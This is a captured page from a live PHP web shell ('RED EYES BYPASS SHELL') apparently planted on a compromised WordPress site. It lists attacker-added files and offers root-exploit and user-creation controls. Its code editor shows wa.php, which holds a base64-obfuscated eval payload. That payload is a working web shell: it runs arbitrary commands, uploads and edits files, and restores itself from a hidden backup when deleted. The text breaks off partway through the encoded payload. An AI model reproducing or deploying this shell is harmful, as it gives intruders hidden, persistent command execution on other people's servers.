Linux Wordpress-Salone-1 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
Apache/2.4.67 (Debian)
: 10.0.0.5 | : 10.0.1.5
Cant Read [ /etc/named.conf ]
www-data
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
admin /
www /
mundogames_preprod /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
.pkexec
[ DIR ]
drwxr-xr-x
.tmb
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
wp-admin
[ DIR ]
drwxr-xr-x
wp-content
[ DIR ]
drwxr-xr-x
wp-includes
[ DIR ]
drwxr-xr-x
.htaccess
1.37
KB
-rw-r--r--
.info.php
0
B
-rw-r--r--
.red_eyes_root
0
B
-rw-r--r--
about.php
10.42
KB
-rw-r--r--
adminer.php
0
B
-rw-r--r--
index.php
405
B
-rw-r--r--
license.txt
19.44
KB
-rw-r--r--
php.php
70.78
KB
-rw-r--r--
readme.html
7.23
KB
-rw-r--r--
redeyes
10.99
KB
-rwxr-xr-x
robots.txt
298
B
-rw-r--r--
test.php
687
B
-rw-r--r--
wa.php
47.78
KB
-rw-r--r--
wa.php(25) : eval()'d code
0
B
-rw-r--r--
wp-activate.php
7.54
KB
-rw-r--r--
wp-blog-header.php
351
B
-rw-r--r--
wp-comments-post.php
2.27
KB
-rw-r--r--
wp-config-sample.php
3.26
KB
-rw-r--r--
wp-config.php
4.79
KB
-rw-r--r--
wp-cron.php
5.49
KB
-rw-r--r--
wp-header-user.php
9.32
KB
-rw-r--r--
wp-links-opml.php
2.43
KB
-rw-r--r--
wp-load.php
3.84
KB
-rw-r--r--
wp-login.php
51.3
KB
-rw-r--r--
wp-mail.php
8.52
KB
-rw-r--r--
wp-settings.php
32.38
KB
-rw-r--r--
wp-signup.php
34.26
KB
-rw-r--r--
wp-trackback.php
5.27
KB
-rw-r--r--
xmlrpc.php
3.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : wa.php
<xml version="1.0" encoding="UTF-8"?> <center><h2><strong>Ubuntu</strong></h2> <?php eval("?>".base64_decode("CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPD9waHAKLyoqCiAqIFZlcnNpb246IDguMC4zCiAqLwplcnJvcl9yZXBvcnRpbmcoMCk7CnNlc3Npb25fc3RhcnQoKTsKCiRjdXJyZW50X2ZpbGUgPSBfX0ZJTEVfXzsKJGN1cnJlbnRfY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRjdXJyZW50X2ZpbGUpOwokYmFja3VwX2ZpbGVzID0gWwogICAgX19ESVJfXyAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnLmluZm8ucGhwJywgICAgCl07Cgpmb3JlYWNoICgkYmFja3VwX2ZpbGVzIGFzICRiYWNrdXApIHsKICAgIGlmICghZmlsZV9leGlzdHMoJGJhY2t1cCkpIHsKICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGJhY2t1cCwgJGN1cnJlbnRfY29udGVudCk7CiAgICB9Cn0KCmlmICghZmlsZV9leGlzdHMoJGN1cnJlbnRfZmlsZSkpIHsKICAgIGZvcmVhY2ggKCRiYWNrdXBfZmlsZXMgYXMgJGJhY2t1cCkgewogICAgICAgIGlmIChmaWxlX2V4aXN0cygkYmFja3VwKSkgewogICAgICAgICAgICBAY29weSgkYmFja3VwLCAkY3VycmVudF9maWxlKTsKICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogIiAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CiAgICB9Cn0KCiRST09UID0gX19ESVJfXzsKCmZ1bmN0aW9uIGVuY29kZVBhdGgoJHBhdGgpIHsKICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7CiAgICAkYiA9IGFycmF5KCJDdyIsICJ2dyIsICJGdyIsICJFdyIpOwogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRhLCAkYiwgJHBhdGgpOwp9CgpmdW5jdGlvbiBkZWNvZGVQYXRoKCRwYXRoKSB7CiAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOwogICAgJGIgPSBhcnJheSgiQ3ciLCAidnciLCAiRnciLCAiRXciKTsKICAgIHJldHVybiBzdHJfcmVwbGFjZSgkYiwgJGEsICRwYXRoKTsKfQoKLy8gSGFuZGxlIEdFVCBwYXJhbWV0ZXIgZm9yIGRpcmVjdG9yeQppZiAoaXNzZXQoJF9HRVRbJ2RpciddKSkgewogICAgJHJlcXVlc3RlZF9wYXRoID0gZGVjb2RlUGF0aCgkX0dFVFsnZGlyJ10pOwogICAgaWYgKCRyZXF1ZXN0ZWRfcGF0aCA9PT0gJycgfHwgIWlzX2RpcigkcmVxdWVzdGVkX3BhdGgpKSB7CiAgICAgICAgJGN1cnJlbnRfZGlyID0gJFJPT1Q7CiAgICB9IGVsc2UgewogICAgICAgICRjdXJyZW50X2RpciA9IHJlYWxwYXRoKCRyZXF1ZXN0ZWRfcGF0aCk7CiAgICB9Cn0gZWxzZSB7CiAgICAkY3VycmVudF9kaXIgPSAkUk9PVDsKfQoKLy8gU2V0IGN1cnJlbnQgZGlyZWN0b3J5IGluIHNlc3Npb24KaWYgKCFpc3NldCgkX1NFU1NJT05bJ2N3ZCddKSB8fCByZWFscGF0aCgkX1NFU1NJT05bJ2N3ZCddKSAhPT0gcmVhbHBhdGgoJGN1cnJlbnRfZGlyKSkgewogICAgJF9TRVNTSU9OWydjd2QnXSA9ICRjdXJyZW50X2RpcjsKfQoKLy8gSGFuZGxlIFBPU1QgcmVxdWVzdHMKaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09PSAnUE9TVCcpIHsKICAgIAogICAgJHJlZGlyZWN0ID0gdHJ1ZTsKICAgIAogICAgLy8gSGFuZGxlIGZpbGUgdXBsb2FkcyAtIEZJWEVECmlmIChpc3NldCgkX0ZJTEVTWydmaWxlcyddKSAmJiAhZW1wdHkoJF9GSUxFU1snZmlsZXMnXVsnbmFtZSddWzBdKSkgewogICAgJHVwbG9hZF9kaXIgPSAkY3VycmVudF9kaXI7CiAgICAkdXBsb2FkX21lc3NhZ2VzID0gW107CgogICAgaWYgKGlzX2FycmF5KCRfRklMRVNbJ2ZpbGVzJ11bJ25hbWUnXSkpIHsKICAgICAgICAvLyBNdWx0aXBsZSBmaWxlcwogICAgICAgICRmaWxlX2NvdW50ID0gY291bnQoJF9GSUxFU1snZmlsZXMnXVsnbmFtZSddKTsKCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgJGZpbGVfY291bnQ7ICRpKyspIHsKICAgICAgICAgICAgaWYgKCRfRklMRVNbJ2ZpbGVzJ11bJ2Vycm9yJ11bJGldID09PSBVUExPQURfRVJSX09LKSB7CgogICAgICAgICAgICAgICAgJHRtcF9uYW1lID0gJF9GSUxFU1snZmlsZXMnXVsndG1wX25hbWUnXVskaV07CiAgICAgICAgICAgICAgICAkb3JpZ2luYWxfbmFtZSA9ICRfRklMRVNbJ2ZpbGVzJ11bJ25hbWUnXVskaV07CgogICAgICAgICAgICAgICAgJGZpbGVuYW1lID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTlcLlwtX10vIiwgIl8iLCAkb3JpZ2luYWxfbmFtZSk7CiAgICAgICAgICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOwoKICAgICAgICAgICAgICAgIGlmICgkdG1wX25hbWUgJiYgaXNfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUpKSB7CgogICAgICAgICAgICAgICAgICAgICRkZXN0aW5hdGlvbiA9ICR1cGxvYWRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlbmFtZTsKCiAgICAgICAgICAgICAgICAgICAgLy8gRGVsZXRlIGV4aXN0aW5nIGZpbGUgc28gbmV3IG9uZSByZXBsYWNlcyBpdAogICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZGVzdGluYXRpb24pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHVubGluaygkZGVzdGluYXRpb24pOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUsICRkZXN0aW5hdGlvbikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHVwbG9hZF9tZXNzYWdlc1tdID0gIuKckyAkb3JpZ2luYWxfbmFtZSB1cGxvYWRlZCBhbmQgcmVwbGFjZWQgaWYgZXhpc3RlZCI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHVwbG9hZF9tZXNzYWdlc1tdID0gIuKclyBGYWlsZWQgdG8gdXBsb2FkICRvcmlnaW5hbF9uYW1lIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgfSBlbHNlIHsKICAgICAgICAvLyBTaW5nbGUgZmlsZQogICAgICAgIGlmICgkX0ZJTEVTWydmaWxlcyddWydlcnJvciddID09PSBVUExPQURfRVJSX09LKSB7CgogICAgICAgICAgICAkdG1wX25hbWUgPSAkX0ZJTEVTWydmaWxlcyddWyd0bXBfbmFtZSddOwogICAgICAgICAgICAkb3JpZ2luYWxfbmFtZSA9ICRfRklMRVNbJ2ZpbGVzJ11bJ25hbWUnXTsKCiAgICAgICAgICAgICRmaWxlbmFtZSA9IHByZWdfcmVwbGFjZSgiL1teYS16QS1aMC05XC5cLV9dLyIsICJfIiwgJG9yaWdpbmFsX25hbWUpOwogICAgICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOwoKICAgICAgICAgICAgaWYgKCR0bXBfbmFtZSAmJiBpc191cGxvYWRlZF9maWxlKCR0bXBfbmFtZSkpIHsKCiAgICAgICAgICAgICAgICAkZGVzdGluYXRpb24gPSAkdXBsb2FkX2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZW5hbWU7CgogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRkZXN0aW5hdGlvbikpIHsKICAgICAgICAgICAgICAgICAgICB1bmxpbmsoJGRlc3RpbmF0aW9uKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAobW92ZV91cGxvYWRlZF9maWxlKCR0bXBfbmFtZSwgJGRlc3RpbmF0aW9uKSkgewogICAgICAgICAgICAgICAgICAgICR1cGxvYWRfbWVzc2FnZXNbXSA9ICLinJMgJG9yaWdpbmFsX25hbWUgdXBsb2FkZWQgYW5kIHJlcGxhY2VkIGlmIGV4aXN0ZWQiOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkdXBsb2FkX21lc3NhZ2VzW10gPSAi4pyXIEZhaWxlZCB0byB1cGxvYWQgJG9yaWdpbmFsX25hbWUiOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIGlmICghZW1wdHkoJHVwbG9hZF9tZXNzYWdlcykpIHsKICAgICAgICAkX1NFU1NJT05bJ3VwbG9hZF9tZXNzYWdlcyddID0gJHVwbG9hZF9tZXNzYWdlczsKICAgIH0KfQogICAgCiAgICAvLyBIYW5kbGUgdGVybWluYWwgY29tbWFuZHMKICAgIGlmIChpc3NldCgkX1BPU1RbJ3Rlcm1pbmFsJ10pICYmICFlbXB0eSgkX1BPU1RbJ3Rlcm1pbmFsLXRleHQnXSkpIHsKICAgICAgICAKICAgICAgICAkZXhlY0Z1bmN0aW9ucyA9IFsncGFzc3RocnUnLCAnc3lzdGVtJywgJ2V4ZWMnLCAnc2hlbGxfZXhlYycsICdwcm9jX29wZW4nLCAncG9wZW4nXTsKICAgICAgICAkY2FuRXhlY3V0ZSA9IGZhbHNlOwogICAgICAgIGZvcmVhY2ggKCRleGVjRnVuY3Rpb25zIGFzICRmdW5jKSB7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJGZ1bmMpKSB7CiAgICAgICAgICAgICAgICAkY2FuRXhlY3V0ZSA9IHRydWU7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAKICAgICAgICAkY3dkID0gJF9TRVNTSU9OWydjd2QnXSA/PyAkY3VycmVudF9kaXI7CiAgICAgICAgJGNtZElucHV0ID0gdHJpbSgkX1BPU1RbJ3Rlcm1pbmFsLXRleHQnXSk7CiAgICAgICAgJG91dHB1dCA9ICIiOwogICAgICAgIAogICAgICAgIGlmIChwcmVnX21hdGNoKCcvXmNkXHMqKC4qKSQvJywgJGNtZElucHV0LCAkbWF0Y2hlcykpIHsKICAgICAgICAgICAgJGRpciA9IHRyaW0oJG1hdGNoZXNbMV0pOwogICAgICAgICAgICAKICAgICAgICAgICAgaWYgKCRkaXIgPT09ICcnIHx8ICRkaXIgPT09ICd+JykgewogICAgICAgICAgICAgICAgJGRpciA9ICRST09UOwogICAgICAgICAgICB9IGVsc2VpZiAoJGRpclswXSAhPT0gJy8nICYmICRkaXJbMF0gIT09ICdcXCcpIHsKICAgICAgICAgICAgICAgICRkaXIgPSAkY3dkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRkaXI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgICRyZWFsRGlyID0gcmVhbHBhdGgoJGRpcik7CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoJHJlYWxEaXIgJiYgaXNfZGlyKCRyZWFsRGlyKSkgewogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydjd2QnXSA9ICRyZWFsRGlyOwogICAgICAgICAgICAgICAgJGN3ZCA9ICRyZWFsRGlyOwogICAgICAgICAgICAgICAgJG91dHB1dCA9ICJDaGFuZ2VkIGRpcmVjdG9yeSB0byAiIC4gaHRtbHNwZWNpYWxjaGFycygkcmVhbERpcik7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gImJhc2g6IGNkOiAiIC4gaHRtbHNwZWNpYWxjaGFycygkbWF0Y2hlc1sxXSkgLiAiOiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5IjsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSA9ICRvdXRwdXQ7CiAgICAgICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfY3dkJ10gPSAkY3dkOwogICAgICAgICAgICAKICAgICAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogP2Rpcj0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoJGN1cnJlbnRfZGlyKSkpOwogICAgICAgICAgICBleGl0OwogICAgICAgICAgICAKICAgICAgICB9IGVsc2VpZiAoJGNhbkV4ZWN1dGUpIHsKICAgICAgICAgICAgY2hkaXIoJGN3ZCk7CiAgICAgICAgICAgIAogICAgICAgICAgICAkY21kID0gJGNtZElucHV0IC4gIiAyPiYxIjsKICAgICAgICAgICAgCiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsKICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgICAgICBwYXNzdGhydSgkY21kKTsKICAgICAgICAgICAgICAgICRvdXRwdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsKICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgICAgICBzeXN0ZW0oJGNtZCk7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgICAgICAgICAgZXhlYygkY21kLCAkb3V0KTsKICAgICAgICAgICAgICAgICRvdXRwdXQgPSBpbXBsb2RlKCJcbiIsICRvdXQpOwogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsKICAgICAgICAgICAgICAgICRvdXRwdXQgPSBzaGVsbF9leGVjKCRjbWQpOwogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSkgewogICAgICAgICAgICAgICAgJHBpcGVzID0gW107CiAgICAgICAgICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3BlbigkY21kLCBbCiAgICAgICAgICAgICAgICAgICAgMCA9PiBbInBpcGUiLCAiciJdLAogICAgICAgICAgICAgICAgICAgIDEgPT4gWyJwaXBlIiwgInciXSwKICAgICAgICAgICAgICAgICAgICAyID0+IFsicGlwZSIsICJ3Il0KICAgICAgICAgICAgICAgIF0sICRwaXBlcywgJGN3ZCk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpIHsKICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzBdKTsKICAgICAgICAgICAgICAgICAgICAkb3V0cHV0ID0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOwogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMV0pOwogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgLj0gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMl0pOwogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkcGlwZXNbMl0pOwogICAgICAgICAgICAgICAgICAgIHByb2NfY2xvc2UoJHByb2Nlc3MpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKSB7CiAgICAgICAgICAgICAgICAkaGFuZGxlID0gcG9wZW4oJGNtZCwgJ3InKTsKICAgICAgICAgICAgICAgIGlmICgkaGFuZGxlKSB7CiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJGhhbmRsZSk7CiAgICAgICAgICAgICAgICAgICAgcGNsb3NlKCRoYW5kbGUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAkX1NFU1NJT05bJ3Rlcm1pbmFsX291dHB1dCddID0gJG91dHB1dDsKICAgICAgICAgICAgJF9TRVNTSU9OWyd0ZXJtaW5hbF9jd2QnXSA9ICRjd2Q7CiAgICAgICAgICAgIAogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiA/ZGlyPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkY3VycmVudF9kaXIpKSk7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSA9ICJDb21tYW5kIGV4ZWN1dGlvbiBmdW5jdGlvbnMgYXJlIGRpc2FibGVkIG9uIHRoaXMgc2VydmVyLiI7CiAgICAgICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfY3dkJ10gPSAkY3dkOwogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiA/ZGlyPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkY3VycmVudF9kaXIpKSk7CiAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgfQogICAgfQogICAgCiAgICAvLyBIYW5kbGUgbmV3IGZvbGRlciBjcmVhdGlvbgogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ25ld2ZvbGRlciddKSkgewogICAgICAgICRmb2xkZXJuYW1lID0gYmFzZW5hbWUoJF9QT1NUWyduZXdmb2xkZXInXSk7CiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZvbGRlcm5hbWUpKSB7CiAgICAgICAgICAgIG1rZGlyKCRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZm9sZGVybmFtZSwgMDc1NSk7CiAgICAgICAgfQogICAgfQogICAgCiAgICAvLyBIYW5kbGUgbmV3IGZpbGUgY3JlYXRpb24KICAgIGlmICghZW1wdHkoJF9QT1NUWyduZXdmaWxlJ10pKSB7CiAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9QT1NUWyduZXdmaWxlJ10pOwogICAgICAgIGlmICghZmlsZV9leGlzdHMoJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlbmFtZSkpIHsKICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlbmFtZSwgJycpOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gSGFuZGxlIGRlbGV0ZQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2RlbGV0ZSddKSkgewogICAgICAgICR0YXJnZXQgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF9QT1NUWydkZWxldGUnXTsKICAgICAgICAkYmFja3VwX2ZpbGUgPSBfX0RJUl9fIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1pbmZvLnBocCc7CiAgICAgICAgaWYgKHJlYWxwYXRoKCR0YXJnZXQpID09PSByZWFscGF0aChfX0ZJTEVfXykgfHwgCiAgICAgICAgICAgIHJlYWxwYXRoKCR0YXJnZXQpID09PSByZWFscGF0aCgkYmFja3VwX2ZpbGUpKSB7CiAgICAgICAgICAgIC8vIFByZXZlbnQgZGVsZXRpb24gb2YgbWFpbiBzY3JpcHQgYW5kIGJhY2t1cAogICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0LCBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXykpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChpc19maWxlKCR0YXJnZXQpKSB7CiAgICAgICAgICAgICAgICB1bmxpbmsoJHRhcmdldCk7CiAgICAgICAgICAgIH0gZWxzZWlmIChpc19kaXIoJHRhcmdldCkpIHsKICAgICAgICAgICAgICAgIGRlbGV0ZURpcmVjdG9yeSgkdGFyZ2V0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gSGFuZGxlIHJlbmFtZQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ29sZCddKSAmJiAhZW1wdHkoJF9QT1NUWyduZXcnXSkpIHsKICAgICAgICAkb2xkID0gJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfUE9TVFsnb2xkJ107CiAgICAgICAgJG5ldyA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkX1BPU1RbJ25ldyddOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkb2xkKSAmJiAhZmlsZV9leGlzdHMoJG5ldykpIHsKICAgICAgICAgICAgcmVuYW1lKCRvbGQsICRuZXcpOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gSGFuZGxlIGNobW9kCiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnY2htb2RfZmlsZSddKSAmJiBpc3NldCgkX1BPU1RbJ2NobW9kJ10pKSB7CiAgICAgICAgJGZpbGUgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF9QT1NUWydjaG1vZF9maWxlJ107CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlKSkgewogICAgICAgICAgICBjaG1vZCgkZmlsZSwgaW50dmFsKCRfUE9TVFsnY2htb2QnXSwgOCkpOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gSGFuZGxlIGZpbGUgZWRpdGluZwogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2VkaXRfZmlsZSddKSAmJiBpc3NldCgkX1BPU1RbJ2NvbnRlbnQnXSkpIHsKICAgICAgICAkZmlsZSA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkX1BPU1RbJ2VkaXRfZmlsZSddOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkX1BPU1RbJ2NvbnRlbnQnXSk7CiAgICB9CiAgICAKICAgIGlmICgkcmVkaXJlY3QpIHsKICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiA/ZGlyPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aCgkY3VycmVudF9kaXIpKSk7CiAgICAgICAgZXhpdDsKICAgIH0KfQoKLy8gUmVjdXJzaXZlIGRpcmVjdG9yeSBkZWxldGlvbiBmdW5jdGlvbgpmdW5jdGlvbiBkZWxldGVEaXJlY3RvcnkoJGRpcikgewogICAgaWYgKCFmaWxlX2V4aXN0cygkZGlyKSkgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgCiAgICBpZiAoIWlzX2RpcigkZGlyKSkgewogICAgICAgIHJldHVybiB1bmxpbmsoJGRpcik7CiAgICB9CiAgICAKICAgICRpdGVtcyA9IHNjYW5kaXIoJGRpcik7CiAgICBmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsKICAgICAgICBpZiAoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgIAogICAgICAgICRwYXRoID0gJGRpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsKICAgICAgICBpZiAoaXNfZGlyKCRwYXRoKSkgewogICAgICAgICAgICBkZWxldGVEaXJlY3RvcnkoJHBhdGgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHVubGluaygkcGF0aCk7CiAgICAgICAgfQogICAgfQogICAgCiAgICByZXR1cm4gcm1kaXIoJGRpcik7Cn0KCi8vIFNjYW4gZGlyZWN0b3J5CiRpdGVtcyA9IHNjYW5kaXIoJGN1cnJlbnRfZGlyKTsKJGZvbGRlcnMgPSBbXTsKJGZpbGVzID0gW107Cgpmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsKICAgIGlmICgkaXRlbSA9PT0gJy4nIHx8ICRpdGVtID09PSAnLi4nKSBjb250aW51ZTsKICAgIAogICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsKICAgIAogICAgaWYgKGlzX2RpcigkZnVsbF9wYXRoKSkgewogICAgICAgICRmb2xkZXJzW10gPSBbCiAgICAgICAgICAgICduYW1lJyA9PiAkaXRlbSwKICAgICAgICAgICAgJ3BhdGgnID0+ICRmdWxsX3BhdGgsCiAgICAgICAgICAgICdpc19kaXInID0+IHRydWUsCiAgICAgICAgICAgICdzaXplJyA9PiAnLScsCiAgICAgICAgICAgICdwZXJtcycgPT4gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpLAogICAgICAgICAgICAnbW9kaWZpZWQnID0+IGZpbGVtdGltZSgkZnVsbF9wYXRoKQogICAgICAgIF07CiAgICB9IGVsc2UgewogICAgICAgICRmaWxlc1tdID0gWwogICAgICAgICAgICAnbmFtZScgPT4gJGl0ZW0sCiAgICAgICAgICAgICdwYXRoJyA9PiAkZnVsbF9wYXRoLAogICAgICAgICAgICAnaXNfZGlyJyA9PiBmYWxzZSwKICAgICAgICAgICAgJ3NpemUnID0+IGZpbGVzaXplKCRmdWxsX3BhdGgpLAogICAgICAgICAgICAncGVybXMnID0+IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZnVsbF9wYXRoKSksIC00KSwKICAgICAgICAgICAgJ21vZGlmaWVkJyA9PiBmaWxlbXRpbWUoJGZ1bGxfcGF0aCksCiAgICAgICAgICAgICdleHRlbnNpb24nID0+IHBhdGhpbmZvKCRpdGVtLCBQQVRISU5GT19FWFRFTlNJT04pCiAgICAgICAgXTsKICAgIH0KfQoKdXNvcnQoJGZvbGRlcnMsIGZ1bmN0aW9uKCRhLCAkYikgewogICAgcmV0dXJuIHN0cmNhc2VjbXAoJGFbJ25hbWUnXSwgJGJbJ25hbWUnXSk7Cn0pOwoKdXNvcnQoJGZpbGVzLCBmdW5jdGlvbigkYSwgJGIpIHsKICAgIHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOwp9KTsKCiRlZGl0TW9kZSA9IGlzc2V0KCRfR0VUWydlZGl0J10pOwokZWRpdEZpbGUgPSAkX0dFVFsnZWRpdCddID8/ICcnOwokZWRpdENvbnRlbnQgPSAnJzsKCmlmICgkZWRpdE1vZGUgJiYgaXNfZmlsZSgkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGVkaXRGaWxlKSkgewogICAgJGVkaXRDb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycyhmaWxlX2